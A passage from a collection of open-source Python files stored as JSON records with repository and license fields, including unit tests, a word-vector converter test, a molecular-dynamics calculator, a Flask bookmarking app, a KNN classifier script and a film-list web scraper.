output_type\n\n\ndef test_convert_with_output_open():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n output = rand_str()\n input_path = DATA / data\n print(output)\n try:\n with open(input_path, \"r\" if data in (GLOVE, W2V_TEXT) else \"rb\") as input_path:\n with open(output, \"w\" if output_type in (FileType.GLOVE, FileType.W2V_TEXT) else \"wb\") as output:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n finally:\n os.remove(output.name)\n\n\ndef test_convert_with_input_open():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n input_type = INPUT_MAPPING[data]\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n output = rand_str()\n print(output)\n try:\n with open(input_path, \"r\" if data in (GLOVE, W2V_TEXT) else \"rb\") as input_path:\n with open(output, \"w\" if output_type in (FileType.GLOVE, FileType.W2V_TEXT) else \"wb\") as output:\n with patch(\"word_vectors.convert_module.read\") as read_patch:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n read_patch.return_value = (w, wv)\n convert(input_path, output, output_file_type=output_type, input_file_type=input_type)\n read_patch.assert_called_once_with(input_path, input_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n finally:\n os.remove(output.name)\n", "source": "blester125/word-vectors", "license": "MIT"} {"text": "import unittest\nfrom searchtests.test_matcher import _TestSearchTest\n\n\nclass TestTestSorter(_TestSearchTest, unittest.TestCase):\n\n def test_exact_match_is_better_than_partial(self):\n values = ['aexact', 'exact', 'exact jotain', 'exact_foo',\n 'jotain exact', 'zexact']\n self._matches_in_order('exact', values)\n\n def _matches_in_order(self, match_text, matches):\n matches = [self._match(match_text, name=name) for name in matches]\n for i in range(1, len(matches)):\n self._assert_is_greater(matches[i], matches[i - 1])\n\n def test_all_matches_is_better_than_some(self):\n self._matches_in_order(\n 'zoo foo bar', ['zoo foo bar', 'zoo foo', 'bar'])\n\n def test_more_matches_is_better_than_some_in_name(self):\n all_matches_in_docs = self._match('foo bar', doc='foo bar')\n some_match_in_name = self._match('foo bar', name='foo')\n self._assert_is_greater(some_match_in_name, all_matches_in_docs)\n\n def test_more_matches_is_better_than_some_in_tags(self):\n some_match_in_tag = self._match('foo bar', tags=['bar'])\n all_matches_in_tags = self._match('foo bar', tags=['foo', 'bar'])\n self._assert_is_greater(some_match_in_tag, all_matches_in_tags)\n\n def test_same_pattern_matches_do_not_raise_priority(self):\n all_matches_in_name = self._match('foo bar', name='foo bar')\n some_match_in_doc = self._match(\n 'foo bar', doc='bar bar bar bar bar bar')\n self._assert_is_greater(some_match_in_doc, all_matches_in_name)\n\n def test_name_is_better_than_doc(self):\n name_match = self._match('name', name='name')\n doc_match = self._match('doc', doc='doc')\n self._assert_is_greater(doc_match, name_match)\n\n def test_name_is_better_than_tag(self):\n name_match = self._match('name', name='name')\n tag_match = self._match('tag', tags=['tag'])\n self._assert_is_greater(tag_match, name_match)\n\n def test_tag_is_better_than_doc(self):\n tag_match = self._match('tag', tags=['tag'])\n doc_match = self._match('doc', doc='doc')\n self._assert_is_greater(doc_match, tag_match)\n\n def test_tags_order(self):\n tag1_match = self._match('tag', tags=['atag'])\n tag2_match = self._match('tag', tags=['btag'])\n self._assert_is_greater(tag2_match, tag1_match)\n\n def _assert_is_greater(self, greater, smaller):\n self.assertTrue(\n greater > smaller, msg='%r !>! %r' % (greater, smaller))\n self.assertFalse(smaller > greater)\n self.assertFalse(greater == smaller)\n", "source": "hoteltianya/RIDE", "license": "ECL-2.0"} {"text": "import unittest\nfrom GitCraw.gh_connector import GitHubConnectos\n\nclass TestGitHub(unittest.TestCase):\n def setUp(self):\n self.github=GitHubConnectos()\n self.words = 'tensorflow'\n self.keywords = 'Repositories'\n\n def test_url_format_ok(self):\n self.setUp()\n result =self.github.url_format(self.words, self.keywords)\n self.assertEqual('https://github.com/search?q=tensorflow&type=Repositories',result)\n\n def test_get_content_ok(self):\n self.setUp()\n result = self.github.get_content(self.words, self.keywords)\n self.assertIsInstance(result,str)\n\n def test_get_content_wrong(self):\n self.setUp()\n words = 'dsadsadsawee21'\n keywords = 'Repositories'\n result = self.github.get_content(words, keywords)\n self.assertIsInstance(result,str)\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "heitorsampaio/Github-Crawler", "license": "MIT"} {"text": "# Copyright (c) OpenMMLab. All rights reserved.\nfrom mmcv.cnn import MODELS as MMCV_MODELS\nfrom mmcv.utils import Registry\n\nMODELS = Registry('models', parent=MMCV_MODELS)\n\nALGORITHMS = MODELS\nMUTABLES = MODELS\nDISTILLERS = MODELS\nLOSSES = MODELS\nOPS = MODELS\nPRUNERS = MODELS\nQUANTIZERS = MODELS\nARCHITECTURES = MODELS\nMUTATORS = MODELS\n\n\ndef build_algorithm(cfg):\n \"\"\"Build compressor.\"\"\"\n return ALGORITHMS.build(cfg)\n\n\ndef build_architecture(cfg):\n \"\"\"Build architecture.\"\"\"\n return ARCHITECTURES.build(cfg)\n\n\ndef build_mutator(cfg):\n \"\"\"Build mutator.\"\"\"\n return MUTATORS.build(cfg)\n\n\ndef build_distiller(cfg):\n \"\"\"Build distiller.\"\"\"\n return DISTILLERS.build(cfg)\n\n\ndef build_pruner(cfg):\n \"\"\"Build pruner.\"\"\"\n return PRUNERS.build(cfg)\n\n\ndef build_mutable(cfg):\n \"\"\"Build mutable.\"\"\"\n return MUTABLES.build(cfg)\n\n\ndef build_op(cfg):\n \"\"\"Build op.\"\"\"\n return OPS.build(cfg)\n\n\ndef build_loss(cfg):\n \"\"\"Build loss.\"\"\"\n return LOSSES.build(cfg)\n", "source": "hunto/mmrazor", "license": "Apache-2.0"} {"text": "from ase import Atoms\nfrom simtk.openmm import app\nimport simtk.openmm as mm\nfrom simtk import unit\nimport sys\nimport mbpol\nimport numpy as np\nfrom ase import units as ase_units\nfrom .utils import coords_to_pdb\nimport os\neVtokcal = 23.06035\nkcaltoeV = 1/eVtokcal\n\nkilocalorie_per_mole_per_angstrom = unit.kilocalorie_per_mole/unit.angstrom\n\nclass MbpolCalculator:\n\n def __init__(self, atoms):\n\n # Create a PDB file that can be read by OpenMM\n coords_to_pdb(atoms.get_positions(),int(atoms.get_number_of_atoms()/3))\n pdb = app.PDBFile(\"./tmp.pdb\")\n os.remove('./tmp.pdb')\n\n cell = atoms.get_cell()\n\n # Make sure bond lengths are within MBPol range\n distances = atoms.get_all_distances()\n for i in range(0,len(distances),3):\n for j in [1,2]:\n if distances[i,i+j] > 2.5:\n print('WARNING: rOH > 2.5 A!!!!!! ({})'.format(distances[i,i+j]))\n if atoms.get_pbc()[0]: print('Try: reconnect_monomers()')\n\n self.atoms = atoms\n \n if np.count_nonzero(cell - np.diag(np.diag(cell))) != 0:\n raise Exception('Only orthorhombic unit cells supported')\n\n if np.alltrue(atoms.get_pbc()):\n self.nonbondedMethod = app.PME\n if np.allclose(np.diag(cell),np.array([0,0,0])):\n raise Exception('Specify unit cell for PBC')\n self.boxSize = tuple(np.diag(cell)) * unit.angstrom\n pdb.topology.setUnitCellDimensions(self.boxSize)\n self.nonbondedCutoff = cell[0,0] / 2 * unit.angstrom\n elif np.alltrue([not a for a in atoms.get_pbc()]):\n self.nonbondedMethod = app.CutoffNonPeriodic\n self.nonbondedCutoff = 1e4 * unit.angstrom\n else:\n raise Exception('Only non-PBC or PBC in all euclidean directions supported')\n\n self.forcefield = app.ForceField(mbpol.__file__.replace(\"mbpol.py\", \"mbpol.xml\"))\n self.system = self.forcefield.createSystem(pdb.topology,\n nonbondedMethod=self.nonbondedMethod,\n nonbondedCutoff=self.nonbondedCutoff)\n\n self.platform = mm.Platform.getPlatformByName('Reference')\n integrator = mm.VerletIntegrator(0.5) # Never used but needed for context\n self.simulation = app.Simulation(pdb.topology, self.system, integrator, self.platform)\n self.set_positions(atoms) #ASE: Angstrom , OMM : nm\n self.state = self.simulation.context.getState(getForces=True, getEnergy=True)\n self.last_coordinates = np.array(pdb.positions.value_in_unit(unit.angstrom))\n self.last_coordinates = np.delete(self.last_coordinates,\n np.arange(3,len(self.last_coordinates),4), axis = 0).reshape(-1,3)\n\n def calculation_required(self, atoms, quantities = None):\n return (not np.all(self.last_coordinates == atoms.positions))\n\n def set_positions(self, atoms):\n # Convert positions as stored in ase Atoms instance to OpenMM/MBPol format\n # which includes a 4th position per molecule for the virtual site \"M\"\n pos = np.zeros([int(len(atoms.positions)/3*4),3]).reshape(-1,4,3)\n pos[:,:3,:] = atoms.positions.reshape(-1,3,3)\n self.simulation.context.setPositions(pos.reshape(-1,3)/10) #ASE: Angstrom , OMM : nm\n self.simulation.context.computeVirtualSites()\n\n def get_forces(self, atoms):\n if self.calculation_required(atoms):\n self.set_positions(atoms)\n self.state = self.simulation.context.getState(getForces=True, getEnergy=True)\n self.last_coordinates = np.array(atoms.positions)\n forces = np.array(self.state.getForces().value_in_unit(kilocalorie_per_mole_per_angstrom))*kcaltoeV\n # Delete forces on virtual sites\n return np.delete(forces, np.arange(3,len(forces),4), axis = 0)\n\n def get_potential_energy(self, atoms, force_consistent = False):\n if self.calculation_required(atoms):\n self.set_positions(atoms)\n self.state = self.simulation.context.getState(getEnergy=True, getForces=True)\n self.last_coordinates = np.array(atoms.positions)\n return self.state.getPotentialEnergy().value_in_unit(unit.kilocalorie_per_mole)*kcaltoeV\n\n def get_stress(self, atoms):\n return np.zeros([3,3])\n# raise Exception('get_stress() not implemented')\n\ndef reconnect_monomers(atoms, rc = 2.5):\n \"\"\" Reconnect Hydrogen and Oxygen that are split across unit cell\n boundaries and are therefore situated on opposite ends of the unit\n cell\n \"\"\"\n boxsize = np.diag(atoms.get_cell())\n pos0 = np.array(atoms.positions)\n\n for i,_ in enumerate(atoms.get_positions()[::3]):\n\n if atoms.get_distance(i*3,i*3+1) > rc:\n d = atoms.positions[i*3] - atoms.positions[i*3+1]\n which = np.where(np.abs(d) > 5)[0]\n for w in which:\n pos0[i*3+1, w] += d[w]/np.abs(d[w]) * boxsize[w]\n if atoms.get_distance(i*3,i*3+2) > rc:\n d = atoms.positions[i*3] - atoms.positions[i*3+2]\n which = np.where(np.abs(d) > 5)[0]\n for w in which:\n pos0[i*3+2, w] += d[w]/np.abs(d[w]) * boxsize[w]\n\n atoms.set_positions(pos0)\n return atoms\n", "source": "semodi/mbpol_calculator", "license": "MIT"} {"text": "# Copyright The IETF Trust 2017, All Rights Reserved\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function\n\n# The following text entries were taken from\n# https://www.ietf.org/ietf-ftp/1id-guidelines.txt\n\nboilerplate_draft_status_of_memo = [\n \"\"\"\n This Internet-Draft is submitted in full conformance with the\n provisions of BCP 78 and BCP 79.\n \"\"\",\n \"\"\"\n Internet-Drafts are working documents of the Internet Engineering Task\n Force (IETF). Note that other groups may also distribute working\n documents as Internet-Drafts. The list of current Internet-Drafts is\n at .\n \"\"\",\n \"\"\"\n Internet-Drafts are draft documents valid for a maximum of six months\n and may be updated, replaced, or obsoleted by other documents at any\n time. It is inappropriate to use Internet-Drafts as reference\n material or to cite them other than as \"work in progress.\"\n \"\"\",\n \"\"\"\n This Internet-Draft will expire on {expiration_date}.\n \"\"\",\n ]\n", "source": "ietf-svn-conversion/xml2rfc", "license": "BSD-3-Clause"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2005, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: \n#------------------------------------------------------------------------------\n\"\"\" Workaround for combobox focus problem in wx 2.6. \"\"\"\n\n# Major package imports\nimport wx\n\n#-------------------------------------------------------------------------------\n# Constants:\n#-------------------------------------------------------------------------------\n\n# Mapping from key code to key event handler names:\nHandlers = {\n wx.WXK_LEFT: '_left_key',\n wx.WXK_RIGHT: '_right_key',\n wx.WXK_UP: '_up_key',\n wx.WXK_DOWN: '_down_key',\n wx.WXK_ESCAPE: '_escape_key'\n}\n\n#-------------------------------------------------------------------------------\n# 'ComboboxFocusHandler' class:\n#-------------------------------------------------------------------------------\n\nclass ComboboxFocusHandler(wx.EvtHandler):\n\n def __init__(self, grid):\n wx.EvtHandler.__init__(self)\n\n self._grid = grid\n wx.EVT_KEY_DOWN(self, self._on_key)\n\n def _on_key(self, evt):\n \"\"\" Called when a key is pressed. \"\"\"\n getattr( self, Handlers.get( evt.GetKeyCode(), '_ignore_key' ))( evt )\n\n#-- Key Event Handlers --------------------------------------------------------\n\n def _ignore_key ( self, evt ):\n evt.Skip()\n\n def _escape_key ( self, evt ):\n self._grid.DisableCellEditControl()\n\n def _left_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_row = True\n\n first = True\n while first or (not self._edit_cell( row, col )):\n col -= 1\n if col < 0:\n col = cols - 1\n row -= 1\n if row < 0:\n if not first:\n break\n\n row = rows - 1\n\n first = False\n\n def _right_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_row = True\n\n first = True\n while first or (not self._edit_cell( row, col )):\n col += 1\n if col >= cols:\n col = 0\n row += 1\n if row >= rows:\n if not first:\n break\n\n row = 0\n\n first = False\n\n def _up_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_col = True\n\n row -= 1\n if row < 0:\n row = rows - 1\n\n self._edit_cell( row, col )\n\n def _down_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_col = True\n\n row += 1\n if row >= rows:\n row = 0\n\n self._edit_cell( row, col )\n\n#-- Private Methods -----------------------------------------------------------\n\n def _grid_info ( self ):\n g = self._grid\n return ( g, g.GetGridCursorRow(), g.GetGridCursorCol(),\n g.GetNumberRows(), g.GetNumberCols() )\n\n def _edit_cell ( self, row, col ):\n grid = self._grid\n grid.DisableCellEditControl()\n grid.SetGridCursor( row, col )\n if not grid.CanEnableCellControl():\n return False\n\n grid.EnableCellEditControl()\n grid.MakeCellVisible( row, col )\n\n return True\n\n#### EOF ####################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, absolute_import, unicode_literals, division\nimport itertools\n\nfrom ginga.canvas.types.all import Line, CompoundObject\nfrom ginga.util import wcs\n\nfrom hcam_widgets.tkutils import get_root\n\nfrom .finders import FovSetter\n\n\nclass UCAMFovSetter(FovSetter):\n\n def window_string(self):\n g = get_root(self).globals\n if g.ipars.isFF:\n retval = ''\n else:\n wframe = g.ipars.wframe\n winlist = [\n 'xsl: {}, xsr: {}, ys: {}, nx: {}, ny: {}'.format(xsl, xsr, ys, nx, ny)\n for (xsl, xsr, ys, nx, ny) in wframe\n ]\n retval = '\\n'.join(winlist)\n return retval\n\n def _make_ccd(self, image):\n \"\"\"\n Converts the current instrument settings to a ginga canvas object\n \"\"\"\n # get window pair object from top widget\n g = get_root(self).globals\n wframe = g.ipars.wframe\n\n # all values in pixel coords of the FITS frame\n # get centre\n ctr_x, ctr_y = image.radectopix(self.ctr_ra_deg, self.ctr_dec_deg)\n self.ctr_x, self.ctr_y = ctr_x, ctr_y\n\n nx, ny = self.nxtot.value, self.nytot.value\n mainCCD = self._make_win(0, 0, nx, ny, image,\n fill=True, color='red',\n fillalpha=0.1, name='mainCCD')\n\n # dashed lines to mark quadrants of CCD\n chip_ctr_ra, chip_ctr_dec = self._chip_cen()\n x1, y1 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n 0, self.fov_y/2)\n x2, y2 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n 0, -self.fov_y/2)\n points = [image.radectopix(ra, dec) for (ra, dec) in (\n (x1, y1), (x2, y2)\n )]\n points = list(itertools.chain.from_iterable(points))\n vline = Line(*points, color='red', linestyle='dash', linewidth=2)\n\n # emphasis on bottom of CCD\n x1, y1 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n -self.fov_x/2, -self.fov_y/2)\n x2, y2 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n self.fov_x/2, -self.fov_y/2)\n points = [image.radectopix(ra, dec) for (ra, dec) in (\n (x1, y1), (x2, y2)\n )]\n points = list(itertools.chain.from_iterable(points))\n eline = Line(*points, color='red', linewidth=4)\n\n # list of objects for compound object\n obl = [mainCCD, vline, eline]\n\n # iterate over window pairs\n # these coords in ccd pixel vaues\n if not g.ipars.isFF:\n params = dict(fill=True, fillcolor='blue', fillalpha=0.3)\n for xsl, xsr, ys, nx, ny in wframe:\n obl.append(self._make_win(xsl, ys, nx, ny, image, **params))\n obl.append(self._make_win(xsr, ys, nx, ny, image, **params))\n\n obj = CompoundObject(*obl)\n obj.editable = True\n return obj\n", "source": "HiPERCAM/hcam_finder", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\"\"\"bmarks, an aws bookmarking app\"\"\"\n\nimport os\nfrom datetime import datetime\nfrom uuid import uuid4\n\nfrom flask import Blueprint, current_app, Flask, jsonify, redirect, render_template, request, session, url_for\nfrom flask_dynamo import Dynamo\nfrom flask_login import login_required, login_user, logout_user, LoginManager, UserMixin\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.csrf import generate_csrf\nfrom wtforms import PasswordField, StringField, SubmitField, TextAreaField\nfrom wtforms.validators import InputRequired\n\n\n#\n# application objects and factory\n#\n\nblueprint = Blueprint('app', __name__) # pylint: disable=invalid-name\ndynamo = Dynamo() # pylint: disable=invalid-name\nlogin_manager = LoginManager() # pylint: disable=invalid-name\nTABLE_NAME = 'bmarks_links'\n\ndef create_app():\n \"\"\"application factory\"\"\"\n\n app = Flask(__name__)\n app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or os.urandom(32)\n app.config['DYNAMO_TABLES'] = [{\n 'TableName': TABLE_NAME,\n 'KeySchema': [{'AttributeName': 'id', 'KeyType': 'HASH'}],\n 'AttributeDefinitions': [{'AttributeName': 'id', 'AttributeType': 'S'}],\n 'ProvisionedThroughput': {'ReadCapacityUnits': 5, 'WriteCapacityUnits': 5}\n }]\n\n dynamo.init_app(app)\n login_manager.init_app(app)\n login_manager.login_view = 'app.login_route'\n login_manager.login_message = 'Not logged in'\n login_manager.login_message_category = 'error'\n app.register_blueprint(blueprint, url_prefix='/')\n # least intrusive way to pass token into every view without enforcing csrf on all routes\n app.add_template_global(name='csrf_token', f=generate_csrf)\n return app\n\n\n#\n# forms\n#\n\nclass ButtonForm(FlaskForm):\n \"\"\"simple button form for csrf handling on non-data forms\"\"\"\n\n\nclass LinkForm(FlaskForm):\n \"\"\"link form\"\"\"\n\n link = StringField('Link', [InputRequired()])\n tags = StringField('Tags', description='Multiple tags separated by comma (,).')\n submit = SubmitField('Save')\n\n def parsed_data(self):\n \"\"\"parse data from form\"\"\"\n\n link = self.link.data.strip()\n tags = list(filter(bool, [x.strip() for x in self.tags.data.split(',')]))\n return link, tags\n\n\nclass LoginForm(FlaskForm):\n \"\"\"login form\"\"\"\n\n password = PasswordField('Password', [InputRequired()])\n submit = SubmitField('Login')\n\n\nclass ImportForm(FlaskForm):\n \"\"\"Bulk import form\"\"\"\n\n imported = TextAreaField('Imported', [InputRequired()], render_kw={'rows': 20})\n submit = SubmitField('Import')\n\n\n#\n# authentication\n#\n\nclass User(UserMixin):\n \"\"\"dead simple user class\"\"\"\n\n def __init__(self):\n self.id = 1 # pylint: disable=invalid-name\n self.password = os.environ.get('PASSWORD')\n\n\n@login_manager.user_loader\ndef load_user(user_id): # pylint: disable=unused-argument\n \"\"\"user loader\"\"\"\n return User()\n\n\n@blueprint.route('/login', methods=['GET', 'POST'])\ndef login_route():\n \"\"\"login route\"\"\"\n\n form = LoginForm()\n\n if form.validate_on_submit():\n user = User()\n if user.password and (user.password == form.password.data):\n session.permanent = True\n login_user(user)\n\n # redirect after login\n if request.args.get('next'):\n for rule in current_app.url_map.iter_rules():\n if rule.rule.startswith(request.args.get('next')):\n return redirect(request.args.get('next'))\n return redirect(url_for('app.index_route'))\n\n return render_template('login.html', form=form)\n\n\n@blueprint.route('/logout')\n@login_required\ndef logout_route():\n \"\"\"logout route\"\"\"\n\n logout_user()\n return redirect(url_for('app.index_route'))\n\n\n#\n# controller\n#\n\n@blueprint.route('/', methods=['GET'])\ndef index_route():\n \"\"\"main index\"\"\"\n return render_template('index.html')\n\n\n@blueprint.route('/json', methods=['GET'])\ndef index_json_route():\n \"\"\"datatable data endpoint\"\"\"\n return jsonify({'data': dynamo.tables[TABLE_NAME].scan()['Items']})\n\n\n@blueprint.route('/add', methods=['GET', 'POST'])\n@login_required\ndef add_route():\n \"\"\"add link\"\"\"\n\n form = LinkForm()\n\n if form.validate_on_submit():\n link, tags = form.parsed_data()\n dynamo.tables[TABLE_NAME].put_item(Item={'id': str(uuid4()), 'link': link, 'tags': tags, 'created': datetime.utcnow().isoformat()})\n return redirect(url_for('app.index_route'))\n\n return render_template('addedit.html', form=form)\n\n\n@blueprint.route('/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_route(link_id):\n \"\"\"edit link\"\"\"\n\n link = dynamo.tables[TABLE_NAME].get_item(Key={'id': link_id})['Item']\n form = LinkForm(link=link['link'], tags=','.join(link['tags']))\n\n if form.validate_on_submit():\n link, tags = form.parsed_data()\n dynamo.tables[TABLE_NAME].update_item(\n Key={'id': link_id},\n UpdateExpression='set link = :link, tags = :tags',\n ExpressionAttributeValues={':link': link, ':tags': tags},\n ReturnValues='UPDATED_NEW')\n return redirect(url_for('app.index_route'))\n\n return render_template('addedit.html', form=form)\n\n\n@blueprint.route('/toggle//', methods=['POST'])\n@login_required\ndef toggle_route(link_id, tag):\n \"\"\"toggles tag on link\"\"\"\n\n form = ButtonForm()\n\n if form.validate_on_submit():\n link = dynamo.tables[TABLE_NAME].get_item(Key={'id': link_id})['Item']\n\n if tag in link['tags']:\n link['tags'].remove(tag)\n else:\n link['tags'].append(tag)\n\n dynamo.tables[TABLE_NAME].update_item(\n Key={'id': link_id},\n UpdateExpression='set tags = :tags',\n ExpressionAttributeValues={':tags': link['tags']},\n ReturnValues='UPDATED_NEW')\n\n return redirect(url_for('app.index_route'))\n\n\n@blueprint.route('/delete/', methods=['POST'])\n@login_required\ndef delete_route(link_id):\n \"\"\"delete item\"\"\"\n\n form = ButtonForm()\n\n if form.validate_on_submit():\n dynamo.tables[TABLE_NAME].delete_item(Key={'id': link_id})\n\n return redirect(url_for('app.index_route'))\n\n\n@blueprint.route('/import', methods=['GET', 'POST'])\n@login_required\ndef import_route():\n \"\"\"bulk import links\"\"\"\n\n form = ImportForm()\n\n if form.validate_on_submit():\n for link in [tmp.strip() for tmp in form.imported.data.splitlines()]:\n if link:\n dynamo.tables[TABLE_NAME].put_item(\n Item={'id': str(uuid4()), 'link': link, 'tags': ['imported'], 'created': datetime.utcnow().isoformat()})\n return redirect(url_for('app.index_route'))\n\n return render_template('import.html', form=form)\n", "source": "bodik/bmarks", "license": "MIT"} {"text": "# encoding: utf-8\n# author: vatsalya-gupta\n\n'''\nNecessary import statements\n'''\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import accuracy_score\n\n'''\nReading in the data using Pandas and output the first 5 rows to analyse it\n'''\ndf = pd.read_csv(\"../data/car_cleaned.csv\")\nprint(\"Dataset:\\n\", df.head())\n\n'''\nfit_transform method from LabelEncoder is used to fit and return encoded labels as KNN requires the\nlabels and features to be either of type int or float\n'''\nle = LabelEncoder()\n\nbuying = le.fit_transform(list(df[\"buying\"]))\nmaint = le.fit_transform(list(df[\"maint\"]))\ndoors = le.fit_transform(list(df[\"doors\"]))\npersons = le.fit_transform(list(df[\"persons\"]))\nlug_boot = le.fit_transform(list(df[\"lug_boot\"]))\nsafety = le.fit_transform(list(df[\"safety\"]))\ndecision = le.fit_transform(list(df[\"decision\"]))\n\npredict = \"decision\"\nX = list(zip(buying, maint, doors, persons, lug_boot, safety))\ny = list(decision)\n\n'''\nThe data is split into training and testing samples\n'''\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 42)\n\n'''\nK-Nearest Neighbors Classifier (with K as 7) is implemented and training data is fit to it\n'''\nmodel = KNeighborsClassifier(n_neighbors = 7)\nmodel.fit(X_train, y_train)\n\n'''\nMaking the predictions using the default names for readability\n'''\ny_pred = model.predict(X_test)\nnames = [\"unacc\", \"acc\", \"good\", \"vgood\"]\nprint(\"\\nPredictions:\")\n\nfor x in range(len(X_test)):\n print(\"Predicted: \", names[y_pred[x]], \", Data: \", X_test[x], \", Actual: \", names[y_test[x]])\n\n '''\n Uncomment the following two lines to see the 7 nearest neighbors for each of the testing samples\n '''\n # n = model.kneighbors([X_test[x]], n_neighbors = 7, return_distance = True)\n # print(\"N: \", n)\n\n'''\nThe accuracy is calculated using the accuracy_score metric from sklearn\n'''\nacc = accuracy_score(y_pred, y_test)\nprint(\"\\nAccuracy: \", acc)\n", "source": "vatsalya-gupta/Car-Evaluation", "license": "MIT"} {"text": "import re\nfrom time import sleep\nfrom timeUtils import clock, elapsed\nfrom ioUtils import saveFile, getFile\nfrom fsUtils import setDir, isDir, mkDir, setFile, isFile, setSubFile\nfrom fileUtils import getBaseFilename\nfrom searchUtils import findSubPatternExt, findPatternExt, findExt, findNearest\nfrom strUtils import convertCurrency\nfrom webUtils import getWebData, getHTML\nfrom movieDB import movieDB\nfrom os import getcwd\nimport operator\n\n\n##############################################################################################################################\n# films101\n##############################################################################################################################\nclass films101(movieDB):\n def __init__(self, basedir=None):\n self.name = \"films101\"\n movieDB.__init__(self, dbdir=self.name)\n \n \n \n ###########################################################################################################################\n # Get Box Office Weekend Files\n ###########################################################################################################################\n def downloadFilms101YearlyData(self, year, outdir, debug=False):\n url=\"http://www.films101.com/y{0}r.htm\".format(year)\n savename = setFile(outdir, \"{0}.p\".format(year))\n if isFile(savename): return\n \n try:\n if debug:\n print(\"Downloading/Saving {0}\".format(savename))\n getWebData(base=url, savename=savename, useSafari=False)\n except:\n return\n sleep(2)\n\n\n def getFilms101YearlyData(self, startYear = 1900, endYear = 2018, debug=False):\n outdir = self.getDataDir()\n if debug:\n print(\"Data Directory: {0}\".format(outdir))\n #outdir = setDir(getBoxOfficeDir(), \"data\")\n if not isDir(outdir): mkDir(outdir)\n years = range(int(startYear), int(endYear)+1)\n for year in years:\n self.downloadFilms101YearlyData(year, outdir, debug)\n \n \n \n \n ###########################################################################################################################\n # Parse Box Office Weekend Files\n ###########################################################################################################################\n def parseFilms101YearlyData(self, ifile, debug=False):\n if debug:\n print(ifile)\n htmldata = getFile(ifile)\n bsdata = getHTML(htmldata)\n \n movies = []\n \n headertables = bsdata.findAll(\"table\", {\"class\": \"lsthdg\"})\n datatables = bsdata.findAll(\"table\", {\"class\": \"lstdta\"})\n if len(headertables) < len(datatables):\n print(headertables)\n raise ValueError(\"Found {0} headers and {1} data tables\".format(len(headertables), len(datatables)))\n \n if debug:\n print(\"Found {0} tables\".format(len(datatables)))\n for i in range(len(datatables)):\n headertable = headertables[i]\n tds = headertable.findAll(\"td\")\n headers = [x.text for x in tds if x is not None]\n headers = [x.strip() for x in headers]\n\n datatable = datatables[i]\n trs = datatable.findAll(\"tr\")\n expect = len(trs)\n for tr in trs:\n tds = tr.findAll(\"td\")\n tds = [x.text for x in tds if x is not None]\n if len(tds) != len(headers):\n print(headers)\n print(tds)\n 1/0\n\n try:\n mdata = dict(zip(headers, tds))\n except:\n print(headers)\n print(tds)\n raise ValueError(\"Could not combine headers and data\")\n\n try:\n movie = mdata['TITLE']\n except:\n raise ValueError(\"Could not get movie name from TITLE key! {0}\".format(mdata))\n\n movies.append(movie)\n \n if debug:\n print(\"Found {0}/{1} movies\".format(len(movies), expect))\n \n return movies\n \n\n\n def parseFilms101Data(self, debug=False):\n outdir = self.getDataDir()\n resultsdir = self.getResultsDir()\n files = findExt(outdir, ext=\".p\")\n movies = {}\n \n for ifile in sorted(files):\n year = getBaseFilename(ifile)\n results = self.parseFilms101YearlyData(ifile, debug=debug)\n movies[year] = []\n for movie in results:\n movies[year].append([movie,10])\n print(\"Found {0} movies in {1}\".format(len(movies[year]),year))\n savename = setFile(self.getResultsDir(), \"{0}.json\".format(self.name))\n print(\"Saving {0} Years of films101 Data to {1}\".format(len(movies), savename))\n saveFile(savename, movies)\n_, _ = clock(\"Last Run\")", "source": "tgadf/movies", "license": "MIT"} {"text": "#%% -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 24 13:43:56 2019\n\n@author: chahida\nEmail: abderrazak.chahid@gmail.com\n\"\"\"\n#% Packages and functions\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\n\nfrom Python_lib.Shared_Functions import *\n\n#%% ##################################################################################################\n# input parameters\n\n\n#%% ---------------------- PART I -------------------------\n#% Split the test into 